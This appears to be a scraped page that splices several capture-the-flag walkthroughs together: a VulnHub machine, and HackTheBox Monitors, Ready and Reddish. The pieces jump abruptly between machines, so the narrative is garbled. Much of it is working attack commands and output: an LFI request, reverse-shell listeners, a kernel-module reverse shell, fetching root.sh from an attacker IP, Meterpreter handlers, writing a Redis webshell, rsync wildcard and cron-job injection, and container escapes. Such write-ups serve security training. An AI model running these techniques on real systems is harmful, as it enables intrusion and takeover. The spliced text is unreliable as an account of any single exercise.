Description: It’s a Boot2Root machine. The machine is VirtualBox compatible but can be used in VMWare as well (not tested but it should work). The DHCP will assign an IP automatically. You have to find and read two flags (user and root) which is present in user.txt and root.txt respectively. Enjoy pwning it!
We recommend that you use VirtualBox and not VMware for this VM
information gathering
first use nmap as usual
1 2 3 4
nmap -sn -v 192.168.56.* Nmap scan report for 192.168.56.125 Host is up (0.00016s latency). MAC Address: 08:00:27:FC:8E:E4 (Oracle VirtualBox virtual NIC)
then Get more detailed information
1 2 3 4 5 6 7 8 9 10 11 12 13 14
nmap -sV -sC -T4 -v -p- 192.168.56.125 PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-methods: |_ Supported Methods: HEAD GET POST OPTIONS |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works 6688/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 6d:df:0d:37:b1:3c:86:0e:e6:6f:84:b9:28:11:ee:68 (RSA) | 256 8f:3e:c0:08:03:13:e8:64:89:f6:f9:63:b3:88:99:2a (ECDSA) |_ 256 fb:e3:40:e6:91:0b:3c:bc:b7:0e:c7:bd:ef:a2:93:fc (ED25519) MAC Address: 08:00:27:FC:8E:E4 (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeration
i use dirbuster for Web Directory scanning, get the following results
1 2 3
/icons 403 /lavalamp 200 /server-status 403
turn to contact page,i use burp got the following request
ford@blume:/tmp$ lxc image list +---------+--------------+--------+-------------------------------+--------+--------+------------------------------+ | ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE | +---------+--------------+--------+-------------------------------+--------+--------+------------------------------+ | myimage | 468c747448ec | no | alpine v3.11 (20200119_01:51) | x86_64 | 3.08MB | May 21, 2020 at 5:39am (UTC) | +---------+--------------+--------+-------------------------------+--------+--------+------------------------------+ ford@blume:/tmp$ lxc init myimage ignite -c security.privileged=true Creating ignite ford@blume:/tmp$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true Device mydevice added to ignite ford@blume:/tmp$ lxc start ignite ford@blume:/tmp$ lxc exec ignite /bin/sh ~ # id uid=0(root) gid=0(root) ~ # whoami root
Once inside the container, navigate to /mnt/root to see all resources from the host machine.
After running the bash file. We see that we have a different shell, it is the shell of the container. This container has all the files of the host machine. So, we enumerated for the root flag and found it.
and finally find the root.txt at last
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
~ # cd /mnt/root/root /mnt/root/root # ls root.txt /mnt/root/root # cat root.txt Oh Yeah! Finally Pwned!
// ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define( 'DB_NAME', 'wordpress' );
/** MySQL database username */ define( 'DB_USER', 'wpadmin' );
/** MySQL database password */ define( 'DB_PASSWORD', 'BestAdministrator@2020!' );
/** MySQL hostname */ define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */ define( 'DB_CHARSET', 'utf8mb4' );
/** The Database Collate type. Don't change this if in doubt. */ define( 'DB_COLLATE', '' );
Got the username and password now let’s try to login with this creads.
We can’t login with these creads. Now let’s try to get /var/log/apache2/access.log.
But we don’t have permission to list the access.log.
After that i found an another way to list the access.log.
BugBounty — “Journey from LFI to RCE!!!”-How I was able to get the same in one of the India’s popular property buy/sell company.
After reading,the article I came to know that “/proc/self/fd” provides symbolic shortcut to access-logs and various other system related file. So I tried reading those in search for access logs-
I use burp for that.
Capture the req and send it to intruder.
request:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
GET /wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../proc/self/fd/1 HTTP/1.1
Host: monitors.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
<VirtualHost *:80> # The ServerName directive sets the request scheme, hostname and port that # the server uses to identify itself. This is used when creating # redirection URLs. In the context of virtual hosts, the ServerName # specifies what hostname must appear in the request's Host: header to # match this virtual host. For the default virtual host (this file) this # value is not decisive as it is used as a last resort host regardless. # However, you must set it for any further virtual host explicitly. #ServerName www.example.com
ServerAdmin admin@monitors.htb DocumentRoot /var/www/html Redirect 403 / ErrorDocument 403 "Sorry, direct IP access is not allowed. <br><br>If you are having issues accessing the site then contact the website administrator: admin@monitors.htb" UseCanonicalName Off # Available loglevels: trace8, ..., trace1, debug, info, notice, warn, # error, crit, alert, emerg. # It is also possible to configure the loglevel for particular # modules, e.g. #LogLevel info ssl:warn
# For most configuration files from conf-available/, which are # enabled or disabled at a global level, it is possible to # include a line for only one particular virtual host. For example the # following line enables the CGI configuration for this host only # after it has been globally disabled with "a2disconf". #Include conf-available/serve-cgi-bin.conf </VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
Found a new vhost called cacti-admin.monitors.htb.
Let’s add this in /etc/hosts file.
Now let’s go to cacti-admin.monitors.htb.
Got the login page let’s login with wordpress creads which we find in wp-config.php.
root@531ea6f91c39:/root# ls ls Makefile reverse-shell.c root@531ea6f91c39:/root# export PATH=$PATH/usr/lib/gcc/x86_64-linux-gnu/8/ export PATH=$PATH/usr/lib/gcc/x86_64-linux-gnu/8/ root@531ea6f91c39:/root# make clean make clean make -C /lib/modules/4.15.0-142-generic/build M=/root clean make[1]: Entering directory '/usr/src/linux-headers-4.15.0-142-generic' make[1]: Leaving directory '/usr/src/linux-headers-4.15.0-142-generic' root@531ea6f91c39:/root# make all make all make -C /lib/modules/4.15.0-142-generic/build M=/root modules make[1]: Entering directory '/usr/src/linux-headers-4.15.0-142-generic' CC [M] /root/reverse-shell.o Building modules, stage 2. MODPOST 1 modules CC /root/reverse-shell.mod.o LD [M] /root/reverse-shell.ko make[1]: Leaving directory '/usr/src/linux-headers-4.15.0-142-generic' root@531ea6f91c39:/root# ls ls Makefile modules.order reverse-shell.ko reverse-shell.mod.o Module.symvers reverse-shell.c reverse-shell.mod.c reverse-shell.o
Before insert the kernel module start your netcat listner on marcus ssh shell.
1 2
marcus@monitors:~$ nc -lnvp 4443 Listening on [0.0.0.0] (family 0, port 4443)
marcus@monitors:~$ nc -lnvp 4443 Listening on [0.0.0.0] (family 0, port 4443)
Connection from 10.10.10.238 41538 received! bash: cannot set terminal process group (-1): Inappropriate ioctl for device bash: no job control in this shell root@monitors:/# root@monitors:/# id id uid=0(root) gid=0(root) groups=0(root) root@monitors:/# whoami whoami root root@monitors:/# cat /root/root.txt cat /root/root.txt a58bf869665a6b00d8d31d195d2af59b
Summary of knowledge
WordPress Plugin WP with Spritz 1.0 - Remote File Inclusion
use /proc/self/fd from LFI to RCE
SQL Injection vulnerability due to input validation failure when editing colors (CVE-2020-14295)
Apache OFBiz XML-RPC Java Deserialization
privesc via Abusing SYS_MODULE capability
Contact me
QQ: 1185151867
twitter: https://twitter.com/fdlucifer11
github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…
OS: Linux Difficulty: Medium Points: 30 Release: 12 Dec 2020 IP: 10.10.10.220
information gathering
first use nmap as usaul
1 2 3 4 5 6
┌──(root💀kali)-[~/hackthebox/machine/ready] └─# nmap -sV -v -p- --min-rate=10000 10.10.10.220 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 5080/tcp open http nginx Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
So basically Two ports are opened 22:ssh 5080:http
Port-80
There is a simple Gitlab Sign in page.
Let’s register ourself.
And we got login
After some enumeration i found an interesting thing.
There is a gitlab version and a interesting thing “update asap” in red background that semms to be vulnerable.
After some googling i found an interesting article of liveoverflow.
GitLab 11.4.7 Remote Code Execution
suggest you to watch this vedio for better Understanding.
GitLab 11.4.7 Remote Code Execution - Real World CTF 2018
After reading the article and watch the full vedio i understand that we got the reverse shell through this method which he show in the vedio.
Let’s try this real quick.
Step 1
Click on new project.
Now click on Import project.
Click repo-by-url
Step 2
Now we need to use the payload with url encode it that showing in the vedio.
root@gitlab:~# cd /tmp cd /tmp root@gitlab:/tmp# ls ls gitaly-ruby896015435 root@gitlab:/tmp# wget http://10.10.14.2/root.sh wget http://10.10.14.2/root.sh --2020-12-16 10:11:41-- http://10.10.14.2/root.sh Connecting to 10.10.14.2:80... connected. HTTP request sent, awaiting response... 200 OK Length: 375 [text/x-sh] Saving to: 'root.sh'
root.sh 100%[===================>] 375 --.-KB/s in 0s
System information as of Wed 16 Dec 2020 10:33:53 AM UTC
System load: 0.1 Usage of /: 65.2% of 17.59GB Memory usage: 78% Swap usage: 0% Processes: 333 Users logged in: 0 IPv4 address for br-bcb73b090b3f: 172.19.0.1 IPv4 address for docker0: 172.17.0.1 IPv4 address for ens160: 10.10.10.220 IPv6 address for ens160: dead:beef::250:56ff:feb9:8278
=> There are 6 zombie processes.
* Introducing self-healing high availability clusters in MicroK8s. Simple, hardened, Kubernetes for production, from RaspberryPi to DC.
https://microk8s.io/high-availability
170 updates can be installed immediately. 73 of these updates are security updates. To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old. To check for new updates run: sudo apt update
Last login: Sun Dec 13 15:04:10 2020 from 10.10.14.5 root@ready:~# id uid=0(root) gid=0(root) groups=0(root) root@ready:~# whoami root root@ready:~# ls docker-gitlab ready-channel root.txt snap root@ready:~# cat root.txt b7f98681505cd39066f67147b103c2b3
and we got the root flag
If you learn about more how this privesc work check this article.
System information disabled due to load higher than 4.0
* Introducing self-healing high availability clusters in MicroK8s. Simple, hardened, Kubernetes for production, from RaspberryPi to DC.
https://microk8s.io/high-availability
170 updates can be installed immediately. 73 of these updates are security updates. To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Dec 14 16:49:36 2020 from 10.10.14.33 root@ready:~# id && whoami && hostname uid=0(root) gid=0(root) groups=0(root) root ready
Summary of knowledge
GitLab 11.4.7 Remote Code Execution
password disclosure in /opt/backup/gitlab.rb
Escaping Docker Privileged Containers to read id_rsa file
Contact me
QQ: 1185151867
twitter: https://twitter.com/fdlucifer11
github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…
On visiting that path, now in the Node-Red editor:
The editor has items grouped as “input”, “output”, “function”, “social”, “storage”, “analysis”, and “advanced”. Clicking on any given item will load a description of the item in the panel on the right.
Items can be dragged into the center pane, and connected with wires. Once my flow is complete, I’ll hit “Deploy”, and the flow is live. Some inputs also have a button on their left side. That item will generate its output when the button is pressed. For example, this “inject” will output a timestamp when the button is pressed.
Code Execution and getShell in Node-Red
In playing around with the editor, built a few useful flows that will help with exploitation of Reddish. Flows show up nicely as images, but can also be imported/exported in json. Just go to the menu, import, clipboard, and paste in the json.
It will initiate the connection when the the flow to output > is sent to stdin of the tcp connection. The TCP connection will come back to me. Then whatever I send back is sent to exec. The output of that is formatted and a prompt is added, and then sent back into the TCP connection, where I’ll receive it. Here’s the export:
first import the commads then deploy it and click the button , then i recive a shell
1 2 3 4 5 6 7 8 9 10 11
root@kali:~/hackthebox/machine/reddish# nc -lvp 9001 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::9001 Ncat: Listening on 0.0.0.0:9001 Ncat: Connection from 10.10.10.94. Ncat: Connection from 10.10.10.94:39270. > id uid=0(root) gid=0(root) groups=0(root)
> whoami root
Callback Shell
In investigating the box, it’s incredibly bare: no python, python3, php, nc, ifconfig, netstat, arp. There is perl though.
I’ll use the perl reverse shell from
PentestMonkey
to get a proper callback shell. The exec node runs a command. In this case, I’ll configure it to take input for the port, which is inserted into the middle of the command:
first import the commads then deploy it and click the button , then i recive a shell
1 2 3 4 5 6 7 8 9 10 11
root@kali:~# nc -lvp 9002 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::9002 Ncat: Listening on 0.0.0.0:9002 Ncat: Connection from 10.10.10.94. Ncat: Connection from 10.10.10.94:46916. /bin/sh: 0: can't access tty; job control turned off # id uid=0(root) gid=0(root) groups=0(root) # whoami root
File Upload
Since the box doesn’t have curl or wget or nc, created a file upload flow, that would callback to a given port, and then what it reads to /tmp/.df/upload:
The string “9003” is not used by the TCP node, just there because needed something, and it was a good visual reminder as to what port the flow expected.
nodered Container
Local Enumeration
The local box is quite bare. I’m already running as root. As mentioned before, almost none of programs I’d expect on a linux host are present. Also, none of the IP addresses match 10.10.10.94:
1 2 3 4 5 6 7 8 9 10 11 12 13
# ip addr 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 7: eth1@if8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:13:00:02 brd ff:ff:ff:ff:ff:ff inet 172.19.0.2/16 brd 172.19.255.255 scope global eth1 valid_lft forever preferred_lft forever 9: eth0@if10: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0 valid_lft forever preferred_lft forever
conclude in a container, and didn’t find much else of interest in it. Since in a container, start tracking what I know about it:
Network Enumeration
It’s fairly clear I need to move outside this container, and since there’s no obvious path to the host, I’ll look around the environment.
Check arp
The arp cache shows only the two .1 ips, which are likely the host:
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2018-07-24 10:57 UTC Unable to find nmap-services! Resorting to /etc/services Cannot find nmap-payloads. UDP payloads are disabled. Nmap scan report for 172.18.0.1 Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed Host is up (0.00016s latency). Not shown: 65534 closed ports PORT STATE SERVICE 1880/tcp open unknown MAC Address: 02:42:1F:A4:77:C3 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 15.01 seconds # ./nmap -p- -sT --min-rate 5000 172.19.0.1
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2018-07-24 10:57 UTC Unable to find nmap-services! Resorting to /etc/services Cannot find nmap-payloads. UDP payloads are disabled. Nmap scan report for 172.19.0.1 Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed Host is up (0.00013s latency). Not shown: 65534 closed ports PORT STATE SERVICE 1880/tcp filtered unknown MAC Address: 02:42:F2:E9:5E:A1 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 14.98 seconds
Ping Sweep
Next start a ping sweep to look for other hosts/containers, and find two other hosts worth looking at in the 172.19.0.0/24 subnet. Based on my current ifconfig and my assumption about the .1s being the gateway, I can label the output leaving two unknowns:
1 2 3 4 5 6 7 8
# for i in $(seq 1 254); do (ping -c 1 172.18.0.$i | grep "bytes from" | cut -d':' -f1 | cut -d' ' -f4 &); done 172.18.0.1 <-- host 172.18.0.2 <-- node-red container # for i in $(seq 1 254); do (ping -c 1 172.19.0.$i | grep "bytes from" | cut -d':' -f1 | cut -d' ' -f4 &); done 172.19.0.2 172.19.0.1 <-- host 172.19.0.3 <-- nodered container 172.19.0.4
got two new hosts to track:
Pivoting
Overview
There’s many ways to set up tunnels to allow my pivot here. A few that come to mind are:
Get a meterpreter session with nodered, and use the portfwd capability to tunnel from my local box into the network (like ssh tunneling).
Copy an ssh client to nodered, and ssh back into my kali box with a reverse tunnel.
Build a listening interface (likely web) with NodeRed, and use that to tunnel traffic.
Using software designed for tunneling.
Getting Meterpreter
Open a handler with payload linux/x64/shell/reverse_tcp, and catch a callback from flow:
Name Current Setting Required Description ---- --------------- -------- -----------
Payload options (linux/x64/shell/reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 9002 yes The listen port
Exploit target:
Id Name -- ---- 0 Wildcard Target
msf5 exploit(multi/handler) > set lhost 10.10.14.9 lhost => 10.10.14.9 msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.9:9002 [*] Sending stage (38 bytes) to 10.10.10.94 [*] Command shell session 1 opened (10.10.14.9:9002 -> 10.10.10.94:47014) at 2020-07-25 12:40:43 -0400
id /bin/sh: 1: j^H��j!Xu�j: not found /bin/sh: 1: X�H�/bin/shSH��RWH��id: not found
For some reason, the first command run in this new shell can be garbage and fail. After making sure to get that out of the way, I’ll background the session (ctrl-z):
1 2 3 4
# id uid=0(root) gid=0(root) groups=0(root) # ^Z Background session 1? [y/N] y
Metasploit has a built in upgrade path to Meterpreter using sessions -u:
Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 shell x64/linux /bin/sh: 0: can't access tty; job control turned off # 10.10.14.9:9002 -> 10.10.10.94:47014 (10.10.10.94) 2 meterpreter x86/linux uid=0, gid=0, euid=0, egid=0 @ 172.18.0.2 10.10.14.9:4433 -> 10.10.10.94:50690 (172.18.0.2) msf5 exploit(multi/handler) > sessions -i 2 [*] Starting interaction with 2... meterpreter >
www redis Containers
Note About IPs
One thing to note - on each reset / boot, Docker seems to randomize the IP addresses of the three containers, nodered, www, and redis. They always seem to be .2, .3, and .4, but which is which is something I need to determine each time. For the sake of this post, I’m working with redis as .2, nodered as .3, and www as .4.
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2018-07-24 11:19 UTC Unable to find nmap-services! Resorting to /etc/services Cannot find nmap-payloads. UDP payloads are disabled. Nmap scan report for reddish_composition_redis_1.reddish_composition_internal-network (172.19.0.2) Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed Host is up (0.00016s latency). Not shown: 65534 closed ports PORT STATE SERVICE 6379/tcp open unknown MAC Address: 02:42:AC:13:00:02 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 2.49 seconds # ./nmap -p- -sT --min-rate 5000 172.19.0.4
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2018-07-24 11:19 UTC Unable to find nmap-services! Resorting to /etc/services Cannot find nmap-payloads. UDP payloads are disabled. Nmap scan report for reddish_composition_www_1.reddish_composition_internal-network (172.19.0.3) Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed Host is up (0.00016s latency). Not shown: 65534 closed ports PORT STATE SERVICE 80/tcp open http MAC Address: 02:42:AC:13:00:03 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 2.39 seconds
can see the docker names, reddish_composition_redis_1 and reddish_composition_www_1, and the listening ports which fit for each server, 6379 for redis, and 80 for www.
Web Site
Access I’ll use the meterpreter shell to port forward localhost 80 through the session to 172.19.0.3:
/* * TODO * * 1. Share the web folder with the database container (Done) * 2. Add here the code to backup databases in /f187a0ec71ce99642e4f0afbd441a68b folder * ...Still don't know how to complete it... */ function backupDatabase() { $.ajax({ url: "8924d0549008565c554f8128cd11fda4/ajax.php?backup=...", cache: false, dataType: "text", success: function (data) { console.log("Database saved:", data); }, error: function () { } }); } </script> </head> <body><h1>It works!</h1> <p>This is the default web page for this server.</p> <p>The web server software is running but no content has been added, yet.</p> </body> </html>
There’s two important take-aways from this source:
1.There are ajax calls to 8924d0549008565c554f8128cd11fda4/ajax.php. Based on the parameters values for the text of get hits and incr hits (which look like redis commands), I can hypothesize that these commands are executed on the redis database.
There’s some self-proclaimed incomplete code having to do with backing up that database. It does indicate that the web folder is shared with the database container.
I can also test out these function in the firefox debug console:
1 2 3 4 5 6 7 8
13:17:49.521 getData() 13:17:49.668 undefined 13:17:51.757 Number of hits: 1 127.0.0.1:19:20 13:17:59.877 incrCounter() 13:17:59.884 undefined 13:18:05.446 getData() 13:18:05.453 undefined 13:18:07.953 Number of hits: 2
What about trying to exercise the backup function? Visiting
eventually has a timeout, which makes sense since the comments said it was not yet implemented:
1
Fatal error: Uncaught Exception: Cant read line from socket. in /var/www/html/8924d0549008565c554f8128cd11fda4/lib/Client.php:74 Stack trace: #0 /var/www/html/8924d0549008565c554f8128cd11fda4/lib/Client.php(101): Client->readLine() #1 /var/www/html/8924d0549008565c554f8128cd11fda4/ajax.php(9): Client->sendCmd(NULL) #2 {main} thrown in /var/www/html/8924d0549008565c554f8128cd11fda4/lib/Client.php on line 74
This error message does give me the absolute web path, which is the default apache path
1
/var/www/html
Database
So I can do some interaction with the database through the website and JavaScript… But I can also interact directly with the Redis database. Just like with www, I’ll use meterpreter to set up a tunnel into the subnet with www and redis:
This post on PacketStorm details how I can use Redis to write arbitrary files on disk. I can flush the database, write some data into it, and then back it up to a target location. The article talks about writing an SSH key. SSH isn’t enabled here, but, because I know that the database server shares disk space with www, I can write a web shell.
Exploit Limitations
This isn’t by any means perfect. For example, the database will compress repeated text patterns, so could I lose some of the text I want to write. So for example, when I tried to write into multiple places in a php file, only the first actually made it through as desired. Even if I tried using and , the second <br was replaced with binary data. Similarly, when I wrote a command to get a perl reverse shell, the pattern ,”>&S”); was replaced and thus broke the script.
Exploit to WebShell Luckily for me, I can write a simple php webshell, and there’s no repeats, and php doesn’t care about garbage before or after the shell.
root@kali:~# redis-cli -h 127.0.0.1 flushall OK root@kali:~# cat redis.txt | redis-cli -x set crackit OK root@kali:~# redis-cli 127.0.0.1:6379> config setdir /var/www/html/8924d0549008565c554f8128cd11fda4/ OK (0.60s) 127.0.0.1:6379> config set dbfilename "df.php" OK (0.60s) 127.0.0.1:6379> save OK (0.58s)
Now check out http://127.0.0.1/8924d0549008565c554f8128cd11fda4/df.php?cmd=id:
The files in the web directory seem to be cleared out every 3 minutes (I’ll confirm this soon), so scripted the upload:
upload_shell.sh
1 2 3 4 5 6 7
#!/bin/sh
redis-cli -h 127.0.0.1 flushall cat redis.txt | redis-cli -h 127.0.0.1 -x set crackit redis-cli -h 127.0.0.1 config setdir /var/www/html/8924d0549008565c554f8128cd11fda4/ redis-cli -h 127.0.0.1 config set dbfilename "df.php" redis-cli -h 127.0.0.1 save
then run the script:
1 2 3 4 5 6
root@kali:~/hackthebox/machine/reddish# ./upload_shell.sh OK OK OK OK OK
Interactive Shell
Connectivity socat
It doesn’t look like I can connect all the back to kali from this host. which ping returns /bin/ping, but trying to ping 10.10.14.9 doesn’t result in anything when watching in tcpdump. When I try to ping 172.19.0.3 (nodered), I get results
So I need to pivot through nodered. I’ll upload a static copy of socat to the box using the Node-Red flow for upload. Now I can use socat one of two ways:
Relay traffic through nodered back to kali
Catch the callback on nodered
do the first one, so in the shell on nodered, create a tunnel:
root@kali:~# nc -lvp 223 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::223 Ncat: Listening on 0.0.0.0:223 Ncat: Connection from 10.10.10.94. Ncat: Connection from 10.10.10.94:50210. /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ whoami www-data $ ip addr 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 11: eth0@if12: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:13:00:03 brd ff:ff:ff:ff:ff:ff inet 172.19.0.3/16 brd 172.19.255.255 scope global eth0 valid_lft forever preferred_lft forever 13: eth1@if14: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:14:00:02 brd ff:ff:ff:ff:ff:ff inet 172.20.0.2/16 brd 172.20.255.255 scope global eth1 valid_lft forever preferred_lft forever $ ls -la total 24 drwxr-xr-x 2 1000 1000 4096 Jul 16 2018 . drwxr-xr-x 5 root root 4096 Jul 15 2018 .. lrwxrwxrwx 1 root root 9 Jul 16 2018 .bash_history -> /dev/null -rw-r--r-- 1 1000 1000 220 Apr 23 2018 .bash_logout -rw-r--r-- 1 1000 1000 3771 Apr 23 2018 .bashrc -rw-r--r-- 1 1000 1000 655 Apr 23 2018 .profile -r-------- 1 1000 1000 33 Apr 23 2018 user.txt
ajax.php, which shows the commands running at the redis server:
1 2 3 4 5 6 7 8 9 10 11 12
$ cat ajax.php <?php
require_once 'lib/Autoloader.php'; Autoloader::register(); $json = new JsonResult(); $config = new Config(); foreach ($config->getPool() as $key => $server) { $client = new Client($server); $result = $client->sendCmd($_GET['test']); echo$result; }
Privesc www-data to usertxt
Identifying Backup Cron
To get to user.txt, I’ll need to privesc. Looking around the box, there wasn’t a ton going on, so I decided to look for interesting processes starting and stopping. I’ve been a huge fan of pspy in the past for this, but since I’m two hops deep at this point, I’ll just using a bash script:
Running it shows some interesting scripts being run about every 3 minutes:
1 2 3 4 5 6
$ ./proc.sh > /usr/sbin/CRON > /bin/sh -c sh /backup/backup.sh > sh /backup/backup.sh > rsync -a rsync://backup:873/src/backup/ /var/www/html/ > rsync -a rsync://backup:873/src/backup/ /var/www/html/
Looking at /backup/backup.sh, it is saving the database, then removing the web folders and bringing them back in from a host named backup:
1 2 3 4 5 6
$ cat /backup/backup.sh cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b rsync -a *.rdb rsync://backup:873/src/rdb/ cd / && rm -rf /var/www/html/* rsync -a rsync://backup:873/src/backup/ /var/www/html/ chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
Exploiting the Wildcard
I can exploit the command rsync -a *.rdb rsync://backup:873/src/rdb, specifically the wildcard character. Because of how Unix handles wildcards, I can create a file named -e sh p.rdb, and that will evaluate to run sh p.rdb. The technique is detailed here.
# perl -e 'use File::Fetch; my $url = "http://172.19.0.2:8080/socat"; my $ff = File::Fetch->new(uri => $url); my $file = $ff->fetch() or die $ff->error;'
The backup script not only provides a path to root on www, but it also tells me about another host, backup. If I ping -c 1 backup, I’ll see it resolves to 127.20.0.2. I’ll upload nmap to www and see what’s open:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
# ./nmap -p- --min-rate 5000 172.20.0.3
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2018-07-25 12:36 UTC Unable to find nmap-services! Resorting to /etc/services Cannot find nmap-payloads. UDP payloads are disabled. Nmap scan report for reddish_composition_backup_1.reddish_composition_internal-network-2 (172.20.0.2) Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed Host is up (0.000034s latency). Not shown: 65534 closed ports PORT STATE SERVICE 873/tcp open rsync MAC Address: 02:42:AC:14:00:02 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 22.23 seconds
open on 873, rsync, which is how www was connecting to it.
I’ll update my diagram:
rsync access
rsync gives me full read and write access to backup. I can read the file system:
I’ll use the read / write access to verify that cron is enabled, and then write one to get shell. There’s already a cron named clean in the folder, which is a good sign that cron is enabled:
# echo '* * * * * root sh /tmp/shell.sh' > shell # rsync -a shell rsync://backup:873/src/etc/cron.d/
Rather than tunnel everything thing back to kali, I’ll just use socat to listen on www in this case. That gets me a callback as root on backup:
1 2 3 4 5 6 7 8
# /socat TCP-LISTEN:9010 STDOUT /bin/sh: 0: can't access tty; job control turned off # id uid=0(root) gid=0(root) groups=0(root) # whoami root # hostname backup
reddish Host
File System Access
backup is rather bare, other than the information I already had. However, one of the mis-configurations that can come with docker is running with –privileged. There’s some detail on slide 20 here. That flag provides access to the raw devices in /dev on the host.
With write access to /etc/cron.d, I can get a root shell easily. And, reddish can talk directly home, so I don’t have to make tunnels, which is nice. Write a shell script:
root@kali:~# nc -lvp 9010 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::9010 Ncat: Listening on 0.0.0.0:9010 Ncat: Connection from 10.10.10.94. Ncat: Connection from 10.10.10.94:35526. /bin/sh: 0: can't access tty; job control turned off # id uid=0(root) gid=0(root) groups=0(root) # whoami root # ls root.txt # ifconfig /bin/sh: 4: ifconfig: not found # ip addr 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 00:50:56:b9:ef:a7 brd ff:ff:ff:ff:ff:ff inet 10.10.10.94/24 brd 10.10.10.255 scope global ens33 valid_lft forever preferred_lft forever 3: br-81dc9e600be9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:fe:5f:02:1f brd ff:ff:ff:ff:ff:ff inet 172.18.0.1/16 brd 172.18.255.255 scope global br-81dc9e600be9 valid_lft forever preferred_lft forever 4: br-91c5803ee070: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:7e:9a:4c:f3 brd ff:ff:ff:ff:ff:ff inet 172.20.0.1/16 brd 172.20.255.255 scope global br-91c5803ee070 valid_lft forever preferred_lft forever 5: br-d4a52cd704d0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:71:03:1d:13 brd ff:ff:ff:ff:ff:ff inet 172.19.0.1/16 brd 172.19.255.255 scope global br-d4a52cd704d0 valid_lft forever preferred_lft forever 6: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default link/ether 02:42:47:f2:fd:fd brd ff:ff:ff:ff:ff:ff inet 